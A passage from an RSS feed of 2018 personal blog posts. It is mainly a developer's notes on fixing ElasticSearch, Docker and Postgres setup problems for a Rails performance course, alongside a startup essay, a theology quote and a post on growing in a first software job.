technologies.&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Fri, 30 Nov 2018 12:54:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/growupdown</guid></item><item><title>WireGuard Setup Guide for iOS</title><link>https://grh.am/2018/wireguard-setup-guide-for-ios/</link><description>&lt;p&gt;&lt;em&gt;&lt;strong&gt;16th January 2019&lt;/strong&gt;&lt;/em&gt; - &lt;em&gt;I have updated the article to include DNS lookups over VPN too, where as previously they would have been going out via your ISP/WiFi/mobile provider.&lt;/em&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;a href="https://www.wireguard.com"&gt;WireGuard&lt;/a&gt; is the new kid on the block when it comes to VPNs. I could try and explain what it is and why you should switch from OpenVPN or IPsec to it, but they do a great job of that themselves:&lt;/p&gt;</description><author>Graham Stevens – Grh.am</author><pubDate>Thu, 29 Nov 2018 22:27:00 GMT</pubDate><guid isPermaLink="true">https://grh.am/2018/wireguard-setup-guide-for-ios/</guid></item><item><title>Law of Christ is Equivalent to the Law of the Ten Commandments</title><link>https://honza.pokorny.ca/2018/11/law-of-christ-is-equivalent-to-the-law-of-the-ten-commandments/</link><description>&lt;blockquote&gt;
&lt;p&gt;The law of Christ is identical to the law of the ten commandments.  Christ did
not give another law; Christ gave that law of the ten commandments.  To this
law He subjected Himself and has perfectly lived according to it, leaving us an
example therein.  He Himself is also a living law. Christ has never given
liberty to transgress any of the ten commandments, be it those that pertain to
murder, adultery, or theft, etc.  Thus, the law of Christ is the law of the ten
commandments.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;mdash; Wilhelmus à Brakel, &lt;em&gt;The Christian‘s Reasonable Service&lt;/em&gt;, vol. 3 (Grand
Rapids, MI: Reformation Heritage Books, 1992), 58.&lt;/p&gt;</description><author>Honza Pokorný</author><pubDate>Thu, 29 Nov 2018 16:14:00 GMT</pubDate><guid isPermaLink="true">https://honza.pokorny.ca/2018/11/law-of-christ-is-equivalent-to-the-law-of-the-ten-commandments/</guid></item><item><title>The Complete Guide to Rails Performance: basic setup</title><link>https://josh.works/rails_performance_course_basic_setup</link><description>&lt;p&gt;You know the feeling.&lt;/p&gt;

&lt;p&gt;You are excited to start a guide or a tutorial. You buy it, crack it open, and start working through the environment setup.&lt;/p&gt;

&lt;p&gt;Then… something goes wrong. Next thing you know, you’ve spent &lt;del&gt;two&lt;/del&gt; &lt;del&gt;three&lt;/del&gt; too many hours debugging random crap, and you’re not even done with the introduction to the dang thing.&lt;/p&gt;

&lt;p&gt;Oh, this has never happened to you? Must be nice.&lt;/p&gt;

&lt;p&gt;I’m working through &lt;a href="https://www.railsspeed.com/"&gt;The Complete Guide to Rails Performance&lt;/a&gt;, and I’m thrilled to get learning underway.&lt;/p&gt;

&lt;p&gt;I’ve hit a few hiccups, though. I’m not the most sophisticated user out there, so here’s a mess of problems I ran into, and the solutions I did.&lt;/p&gt;

&lt;h2 id="elastic-search"&gt;Elastic Search&lt;/h2&gt;

&lt;p&gt;All of my struggles were with ElasticSearch. I’ve never used it before, so this isn’t surprising.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/rubygems/rubygems.org/blob/master/CONTRIBUTING.md#environment-os-x"&gt;The RubyGems docs&lt;/a&gt; recommend the following:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Install Elastic Search:&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;Pull ElasticSearch 5.1.2 : &lt;code class="language-plaintext highlighter-rouge"&gt;docker pull docker.elastic.co/elasticsearch/elasticsearch:5.1.2&lt;/code&gt;&lt;/li&gt;
    &lt;li&gt;Running Elasticsearch from the command line:
      &lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;docker run -p 9200:9200 -e "http.host=0.0.0.0" -e "transport.host=127.0.0.1" docker.elastic.co/elasticsearch/elasticsearch:5.1.2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;      &lt;/div&gt;
    &lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;!--more--&gt;

&lt;h2 id="docker-container-exit-code-137"&gt;Docker container, exit code 137&lt;/h2&gt;

&lt;p&gt;The docker container was instantly exiting with a &lt;a href="https://success.docker.com/article/what-causes-a-container-to-exit-with-code-137"&gt;137 exit code&lt;/a&gt;. That means its out of memory.&lt;/p&gt;

&lt;p&gt;I fixed this in the Docker app directly, but just bumping the memory allocated to the containers, and hitting the “save/restart” button.&lt;/p&gt;

&lt;p&gt;&lt;img alt="bump the memory" src="/images/2018-11-29 at 9.04 PM.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;Now I could run:&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;bundle exec rake environment elasticsearch:import:all DIR=app/models FORCE=y&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Which brought me to:&lt;/p&gt;

&lt;h2 id="elasticsearchunauthorized-401"&gt;Elasticsearch…Unauthorized: [401]&lt;/h2&gt;

&lt;p&gt;I got&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Elasticsearch::Transport::Transport::Errors::Unauthorized: [401]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sigh. Googled around, no quick solutions.&lt;/p&gt;

&lt;p&gt;So, I hunted through the Slack group for the course, and saw someone suggest just &lt;code class="language-plaintext highlighter-rouge"&gt;brew installing&lt;/code&gt; ElasticSearch.&lt;/p&gt;

&lt;p&gt;Done.&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;brew install elasticsearch&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;It installs &lt;code class="language-plaintext highlighter-rouge"&gt;6.5.1&lt;/code&gt; by default. This isn’t the recommended version, but… we’ll carry onward.&lt;/p&gt;

&lt;p&gt;I can run &lt;code class="language-plaintext highlighter-rouge"&gt;elasticsearch&lt;/code&gt; in the terminal now, and get a lot of output.&lt;/p&gt;

&lt;p&gt;Trying &lt;code class="language-plaintext highlighter-rouge"&gt;bundle exec rake environment elasticsearch:import:all DIR=app/models FORCE=y&lt;/code&gt; again, and we get:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&amp;gt; bundle exec rake environment elasticsearch:import:all DIR=app/models FORCE=y
[IMPORT] Loading models from: app/models
[IMPORT] Processing model: Rubygem...
[IMPORT] Done
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Woot!&lt;/p&gt;

&lt;p&gt;Lets try the tests.&lt;/p&gt;

&lt;p&gt;I’ll start &lt;code class="language-plaintext highlighter-rouge"&gt;memcached&lt;/code&gt;. Since it just hangs, filling up a terminal tab, lets &lt;a href="https://stackoverflow.com/questions/13338870/what-does-at-the-end-of-a-linux-command-mean"&gt;send it to the background&lt;/a&gt;:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&amp;gt; memcached &amp;amp;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;bundle exec rake
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sweet. Just rows upon rows of sweet green dots…. and a failure.&lt;/p&gt;

&lt;p&gt;&lt;img alt="so close" src="/images/2018-11-29 at 8.50 PM.png" /&gt;&lt;/p&gt;

&lt;h2 id="dependencytest"&gt;DependencyTest&lt;/h2&gt;

&lt;p&gt;The error is:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Failure:
DependencyTest#test_: 
  with a Gem::Dependency that refers to a Rubygem that exists and has multiple requirements should create a Dependency referring to the existing Rubygem. 
[/Users/joshthompson/workspace/rails_speed/rubygems.org/test/unit/dependency_test.rb:96]:
Expected: "&amp;lt; 1.0.0, &amp;gt;= 0.0.0"
  Actual: "&amp;gt;= 0.0.0, &amp;lt; 1.0.0"
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We’ll table this for now.&lt;/p&gt;

&lt;p&gt;Starting the server works fine. I’ll update this post if I sort out the test failure.&lt;/p&gt;

&lt;p&gt;If you elect to work through the course, this might save you a bit of hassle. I went way too far down the docker hole before just brew installing it. :(&lt;/p&gt;

&lt;h2 id="download-rubygems-production-db"&gt;download Rubygem’s production DB:&lt;/h2&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ script/load-pg-dump -c -d gemcutter_production latest_dump
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;No problems.&lt;/p&gt;

&lt;p&gt;When it came time to generate the assets, first take failed:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&amp;gt; RAILS_ENV=production rake assets:precompile
rake aborted!
ArgumentError: Missing `secret_key_base` for 'production' environment, set this string with `rails credentials:edit`
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Swap it to &lt;code class="language-plaintext highlighter-rouge"&gt;&amp;gt; RAILS_ENV=production rake assets:precompile SECRET_KEY_BASE=foo&lt;/code&gt; and you’re good to go.&lt;/p&gt;

&lt;p&gt;Aaaand…&lt;/p&gt;

&lt;p&gt;server error on http://localhost:3000/&lt;/p&gt;

&lt;p&gt;&lt;img alt="but what a cute error message" src="/images/2018-11-29 at 9.17 PM.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;A message in the slack group suggested using the following for &lt;code class="language-plaintext highlighter-rouge"&gt;script/load-pg-dump&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;script/load-pg-dump -c -d rubygems_production latest_dump
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;(it’s &lt;code class="language-plaintext highlighter-rouge"&gt;rubygems_production&lt;/code&gt; instead of &lt;code class="language-plaintext highlighter-rouge"&gt;gemcutter_production&lt;/code&gt;)&lt;/p&gt;

&lt;p&gt;still failing. same server error.&lt;/p&gt;

&lt;p&gt;Taking a look in &lt;code class="language-plaintext highlighter-rouge"&gt;log/production.log&lt;/code&gt;, I’ve got useful errors like:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;F, [2018-11-29T21:30:19.469620 #4540] FATAL – : ActionView::Template::Error (PG::UndefinedTable: ERROR:  relation “announcements” does not exist&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&amp;gt; RAILS_ENV=production rake db:migrate SECRET_KEY_BASE=foo
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;but that doesn’t work:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&amp;gt; RAILS_ENV=production rake db:migrate SECRET_KEY_BASE=foo
== 20090527122639 CreateRubygems: migrating ===================================
-- adapter_name()
   -&amp;gt; 0.0000s
-- adapter_name()
   -&amp;gt; 0.0000s
-- adapter_name()
   -&amp;gt; 0.0000s
-- create_table(:rubygems, {:id=&amp;gt;:integer})
rake aborted!
StandardError: An error has occurred, this and all later migrations canceled:

PG::DuplicateTable: ERROR:  relation "rubygems" already exists
: CREATE TABLE "rubygems" ("id" serial NOT NULL PRIMARY KEY, "name" character varying, "token" character varying, "user_id" integer, "created_at" timestamp, "updated_at" timestamp)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is probably a horrible fix, but:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ psql
# enter psql cli
\l
# list available databases
\c rubygems_production
# connect to said db
\dt
# list all relations
drop table rubygems;
# drop the table
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;re-run migrations and… it now fails on a different relation.&lt;/p&gt;

&lt;p&gt;so, running the mother of all horrible commands:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&amp;gt; RAILS_ENV=production rake db:reset SECRET_KEY_BASE=foo DISABLE_DATABASE_ENVIRONMENT_CHECK=1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;nukes the production DB, redoes everything. Don’t do this.&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;RAILS_ENV=production SECRET_KEY_BASE=foo rails s&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;works, now, but the production DB is empty, so we have to re-import it:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;script/load-pg-dump -c -d rubygems_production latest_dump
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;after a few minutes… boot up the rails server again, and:&lt;/p&gt;

&lt;p&gt;damnit. error page. Same complaint about missing relation.&lt;/p&gt;

&lt;p&gt;When I swap everything out to working on &lt;code class="language-plaintext highlighter-rouge"&gt;development&lt;/code&gt; environment instead of &lt;code class="language-plaintext highlighter-rouge"&gt;production&lt;/code&gt;, it works. I’ll carry on from here for now.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;I asked for a bit of help in the Slack group for the program, and got great help.&lt;/p&gt;

&lt;p&gt;Turns out I just needed to do a &lt;code class="language-plaintext highlighter-rouge"&gt;bundle exec rake db:create RAILS_ENV=production&lt;/code&gt;, then re-run the script: &lt;code class="language-plaintext highlighter-rouge"&gt;script/load-pg-dump -c -d rubygems_production latest_dump&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now I can run the app in production:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;RAILS_ENV=production SECRET_KEY_BASE=foo rails s
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</description><author>Josh Thompson</author><pubDate>Thu, 29 Nov 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/rails_performance_course_basic_setup</guid></item><item><link>https://kajic.com/post/180611951890</link><description>&lt;figure class="tmblr-full"&gt;&lt;img src="https://64.media.tumblr.com/76bb2581602814262f81c6ef8d69108e/tumblr_piy0c9wVOV1qiv660_540.jpg" /&gt;&lt;/figure&gt;</description><author>ka-yich</author><pubDate>Thu, 29 Nov 2018 08:50:34 GMT</pubDate><guid isPermaLink="true">https://kajic.com/post/180611951890</guid></item><item><link>https://kajic.com/post/180611944835</link><description>&lt;figure class="tmblr-full"&gt;&lt;img src="https://64.media.tumblr.com/656de2a86baecfe3c374d4faa5deb0d6/tumblr_piy0bpTHqZ1qiv660_540.jpg" /&gt;&lt;/figure&gt;</description><author>ka-yich</author><pubDate>Thu, 29 Nov 2018 08:50:13 GMT</pubDate><guid isPermaLink="true">https://kajic.com/post/180611944835</guid></item><item><link>https://kajic.com/post/180611936360</link><description>&lt;figure class="tmblr-full"&gt;&lt;img src="https://64.media.tumblr.com/2a11dff8b89fc0931f50af2d8bc550ce/tumblr_piy0ayzicx1qiv660_540.jpg" /&gt;&lt;/figure&gt;</description><author>ka-yich</author><pubDate>Thu, 29 Nov 2018 08:49:47 GMT</pubDate><guid isPermaLink="true">https://kajic.com/post/180611936360</guid></item><item><title>The winds of change for startups</title><link>http://dimitarsimeonov.com/2018/11/29/the-winds-of-change-for-startups</link><description>&lt;p&gt;Did  you know that it is mathematically impossible to predict the weather 30 days in the future. Not just “its really hard and we don’t know how to do it yet”, but rather “nobody will ever, EVER, be able to do this no matter how advanced they are”. Chaos theory proves it.
Even if we know physics laws perfectly, even if they are completely deterministic, and we have nearly perfect knowledge of where every single atom is on earth, we will still not be able to know whether it will rain or not in thirty days.&lt;/p&gt;

&lt;p&gt;In a chaotic system,  by definition, small changes get amplified exponentially over time, and unless we make corrective measurements as we go, we will deviate a lot. Chaotic doesn’t mean anarchic - there are still precise laws that govern that system, but these laws make small changes diverge over time. Chaotic doesn’t even mean probabilistic, or stochastic. It is perfectly possible, and easy at that, to have a deterministic chaotic system.&lt;/p&gt;

&lt;p&gt;Weather is determined by the laws of physics, and is still chaotic. And most systems we encounter in life are. Society as a whole is chaotic. The stock market as well. And my main point today - building a company is a very chaotic experience, no matter how organized and diligent you are.&lt;/p&gt;

&lt;p&gt;…&lt;/p&gt;

&lt;p&gt;When building a company, things invariably &lt;em&gt;will&lt;/em&gt; deviate from plan. Projects take longer. We discover new opportunities. Things happen to people. Personalities change. Morale changes. Problems and opportunities alike emerge from places we would have never expected initially.&lt;/p&gt;

&lt;p&gt;There is a drift. A wind of change. Sometimes it’s quiet, sometimes it’s gusty. 
Over time, this wind of change causes expectations to deviate from reality. What was our plan, and our vision will not happen that way. The problem that we are solving will turn out to be way bigger, or way smaller than we expected, and we’ll adjust to something more appropriate.&lt;/p&gt;

&lt;p&gt;Some people, such as VCs and investors, might think they can predict early on if a company will be successful. And many may have a good track record, having had successful exits and gained a lot of money. Yet, if you ask them what do the look for as indication of success, they have varied and different opinions. They all profess different leading indicators. They might look at the the founder’s experience, or potential, or attitude, or whether the business model matches the new hotness, or whether the vision is compelling. Those things all matter. Yet they matter far less than everyone gives them credit.&lt;/p&gt;

&lt;p&gt;All of these indicators can change. The founder’s attitude and abilities can change, the trends can change, and the vision will almost certainly change. None of these are absolute. None of them are static. When we hear the phrase “vision” in corporate context, many of us roll our eyes, and consider it yet another instance of corporate bullshit. It’s meaningless, because it will be blown away by the winds of change.&lt;/p&gt;

&lt;p&gt;What is there to do? Is it all luck? Not all. Definitely some.  Quite a bit. They say luck favors the prepared mind. In my opinion, the prepared mind is agile and humble. 
The prepared mind knows that everything &lt;em&gt;will&lt;/em&gt; change. The value delivered might change as the customers change their behaviors. The team’s morale can change at the smallest wins or loses. Partnerships and deals change. The competition changes. The technology changes. Even some of the values and principles which guide the team can change.&lt;/p&gt;

&lt;p&gt;We don’t know what the future will bring. But at least we know that.&lt;/p&gt;</description><author>D13V</author><pubDate>Thu, 29 Nov 2018 04:20:17 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/11/29/the-winds-of-change-for-startups</guid></item><item><title>Python.format</title><link>https://heitorpb.github.io/bla/python-format/</link><description>Fun with Python format().</description><author>Heitor's log</author><pubDate>Thu, 29 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://heitorpb.github.io/bla/python-format/</guid></item><item><title>Growing in your first software development job</title><link>https://josh.works/growing-in-first-software-development-job</link><description>&lt;p&gt;I started my first software developer role a year ago. (November 2017)&lt;/p&gt;

&lt;p&gt;This is tremendously exciting, of course, but introduces its own set of challenges, like:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I finished Turing and I’ve got a job! Oh snap. I just finished a grueling program, and my reward is I’m fit to sit at the same table with people who &lt;em&gt;know so much more than me&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;I have to learn a whole new codebase. Or four.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;I have to meet the standards of an inexperienced-but-competent professional, which are higher than “eager student”.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So, I’ve been thinking &lt;em&gt;a lot&lt;/em&gt; about how to grow as a developer in my job.&lt;/p&gt;

&lt;h2 id="what-does-grow-as-a-developer-mean"&gt;What does “grow as a developer” mean?&lt;/h2&gt;

&lt;p&gt;Part of growing in anything means having goals. I have career goals that may be 5+ years out, but for the next year or two, these are the goals I’m using to drive me towards my goal of being “an experienced developer””&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Build &lt;em&gt;deep&lt;/em&gt; competency with the “standard” Rails framework. I think Rails scales just fine, and I don’t want to toss a JS-heavy front-end on our application. (I’m &lt;del&gt;secretly&lt;/del&gt; pulling for Turbolinks and Stimulus…)&lt;/li&gt;
  &lt;li&gt;Help guide our product through a few big changes in the coming year, &lt;em&gt;and help drive decisions around those changes&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;Support other teams within the company&lt;/li&gt;
  &lt;li&gt;Put up a lot of PRs, close a lot of tickets. Do a lot of “work”&lt;/li&gt;
  &lt;li&gt;???&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are not great goals, as far as good goal-setting goes, but I am not worrying too much about it, because good habits tend to be more important than good goals. And I’ve got good habits!&lt;/p&gt;

&lt;h2 id="constraints"&gt;Constraints&lt;/h2&gt;

&lt;p&gt;Here are some constraints I’m operating within:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I work on a 100% distributed team of developers, but most of the rest of the offices works in-office in Pittsburgh. (Project/Product Management, Quality Assurance, DevOps, Support, Managed Services, Sales)&lt;/li&gt;
  &lt;li&gt;My immediate team is a group of three other developers. Myself and one other dev started at the same time.&lt;/li&gt;
  &lt;li&gt;The other two developers have been on the team for about three years.&lt;/li&gt;
  &lt;li&gt;The individuals who built most of the application is no longer on the team.&lt;/li&gt;
  &lt;li&gt;there is an extreme level of trust passed to all on the team. No one is required to pair with me, or checks in with me every day to make sure I’ve committed X code or fixed Y bugs.&lt;/li&gt;
  &lt;li&gt;We’re currently without an immediate manager.&lt;/li&gt;
  &lt;li&gt;I live a balanced life. I spend time with my wife, I rock climb a lot, I’ve gotten back into running, I read a lot. I won’t spend 20 hours a week on top of my job, trying to become a better developer.&lt;/li&gt;
&lt;/ul&gt;

&lt;!--more--&gt;

&lt;p&gt;These constraints are challenges, indeed. In some ways, it might be easier to waltz into a company that has a robust mentoring program, and batch-hires new developers so everyone is passing through the mentorship pipeline with a buddy.&lt;/p&gt;

&lt;p&gt;Sure, that would be cool. But then I’d miss out on all the fun of wrestling with this challenge myself. I’ve rarely found myself in the exact same place, moving in the exact same speed, as many others, so this is a very Josh-friendly opportunity.&lt;/p&gt;

&lt;h2 id="what-is-the-range-of-options-available-to-me"&gt;What is the range of options available to me?&lt;/h2&gt;

&lt;p&gt;There’s a few potential avenues I’m exploring right now:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Pairing more with my coworkers&lt;/li&gt;
  &lt;li&gt;self-study&lt;/li&gt;
  &lt;li&gt;implement suggestions from other developers&lt;/li&gt;
  &lt;li&gt;Work-related side-projects&lt;/li&gt;
  &lt;li&gt;non-work-related side-projects&lt;/li&gt;
  &lt;li&gt;Meetups&lt;/li&gt;
  &lt;li&gt;Teaching/helping others&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="pairing-more-with-coworkers"&gt;Pairing more with coworkers&lt;/h3&gt;

&lt;p&gt;A simplistic solution could be to go look at some company who has an established mentorship program, and try to force-fit it into our team of four. If said plan called for 15 hours a week of pairing, I could ask each of the three developers how they felt about pairing with me for five hours a week, each.&lt;/p&gt;

&lt;p&gt;That’s almost a workday out of each week that would be lost to pairing. Maybe this is the most effective use of everyone’s time, but I’m not yet convinced that it is.&lt;/p&gt;

&lt;p&gt;If it &lt;em&gt;is&lt;/em&gt; the best use of time, there’s still a lot of questions about how it would work, like:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;how should we pair?&lt;/li&gt;
  &lt;li&gt;Driver/Navigator? One types, the other adds insights and suggestions?&lt;/li&gt;
  &lt;li&gt;Do we use my machine or theirs?&lt;/li&gt;
  &lt;li&gt;Do we work on whatever ticket I’m working on? Whatever ticket they’re working on? both? neither?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We’re also 100% remote, so this pairing would have to be 100% Slack/Zoom/something similar. Anytime the internet dropped many packets, there would be lag and friction.&lt;/p&gt;

&lt;p&gt;Since I’ve started, I have set up weekly 1:1s with everyone on my team. Usually technical things come up, and I get help with whatever I’m working on, but a big part of it was I wanted to get to know my team. We don’t see each other often, and I wanted to get to know them. I also sometimes “shadow” one of my coworkers for 30 minutes or an hour a week, to absorb some of how they work, without interrupting their work too much.&lt;/p&gt;

&lt;h3 id="self-study"&gt;Self-study&lt;/h3&gt;

&lt;p&gt;There’s a lot of great books out there about software development, and classes, videos, and more.&lt;/p&gt;

&lt;p&gt;So far, I’ve read (or am reading)&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://pragprog.com/book/ppmetr2/metaprogramming-ruby-2"&gt;Metaprogramming in Ruby&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.poodr.com/"&gt;Practical Object-Oriented Design in Ruby&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.amazon.com/Pragmatic-Programmer-Journeyman-Master/dp/020161622X"&gt;The Pragmatic Programmer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://pragprog.com/book/cfcar2/the-passionate-programmer"&gt;The Nature of Software Development (Ron Jeffries)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/29902035-agile-web-development-with-rails-5?ac=1&amp;amp;from_search=true"&gt;Agile Web Development with Rails 5&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/9364729-eloquent-ruby?ac=1&amp;amp;from_search=true#"&gt;Eloquent Ruby&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.amazon.com/SQL-Queries-Mere-Mortals-Hands/dp/0321992474"&gt;SQL Queries for Mere Mortals&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’ a start, but only that - a start. I don’t yet feel like I’ve read that many books about software development, Ruby/Rails, or programming in general. So, since I love to read, I’ll always have a book or two going on the topic.&lt;/p&gt;

&lt;h3 id="courses"&gt;Courses&lt;/h3&gt;

&lt;p&gt;I done most of Avdi Grimm’s &lt;a href="https://avdi.codes/moom/"&gt;Mastering the Object Oriented Mindset&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It’s been good so far. I’m learning plenty, and I’m about half-way through it, and have been &lt;a href="https://josh.works/tags#moom"&gt;writing about some of what I’ve learned&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I’ve also started Nate Berkopec’s &lt;a href="https://www.railsspeed.com/"&gt;RailsSpeed course&lt;/a&gt; - it’s all about speeding up a Rails app, and I’m really excited about it.&lt;/p&gt;

&lt;p&gt;Both of these have given me a lot of value. In different ways, but I’m feeling like a wiser, more confident, more competent developer because of it.&lt;/p&gt;

&lt;p&gt;So far, though, I’ve not been able to take something directly from one of these courses and apply it at Wombat. I’m not concerned about that at all - I’ve not finished either course, and I’ll have plenty of opportunity to apply this learning.&lt;/p&gt;

&lt;h3 id="work-related-side-projects"&gt;Work-related side-projects&lt;/h3&gt;

&lt;p&gt;As I encounter projects at work that are amenable to studying in more depth, and spinning into a one-off tutorial/blog post, I will capture the idea and consider a few hours of effort in that direction.&lt;/p&gt;

&lt;p&gt;That is where a few recent blog posts have been born:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="/pry-tips-and-tricks"&gt;Pry Tips and Tricks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="/sidekiq-and-background-jobs-in-rails-for-beginners"&gt;Sidekiq/Redis/Background jobs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="/array-divergence"&gt;array intersection/divergence&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="/test-rake-tasks-in-rails"&gt;Testing Rake Tasks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These blog posts are a great way for me to build a more robust mental model around the topic, as well as give me something to refer back to if I need to later.&lt;/p&gt;

&lt;p&gt;This is a nice “proof of progress”, as well. It’s easy for me to feel like I’ve not made much progress in the last week, and therefore &lt;em&gt;I must have made no progress in the last six months&lt;/em&gt;. This is a logical fallacy, but that’s how my brain works. It’s nice to have evidence of work done.&lt;/p&gt;

&lt;h3 id="non-work-related-side-projects"&gt;non-work-related side-projects&lt;/h3&gt;

&lt;p&gt;I don’t spend too much time on non-work related projects. I’d love to extend my Turing capstone project, &lt;a href="/block-value"&gt;Block Value&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I had a ton of fun with it, and it feels close to being &lt;em&gt;actually good&lt;/em&gt;. I’d need to brush up on my Javascript a bit, though. When I’m ready to dig into Javascript, I think this project might be the way I do that. I’d like to drop in OpenStreetMaps instead of Google Maps, and drop in &lt;a href="https://leafletjs.com/"&gt;Leaflet.js&lt;/a&gt; instead of the crappy Javascript I have in there.&lt;/p&gt;

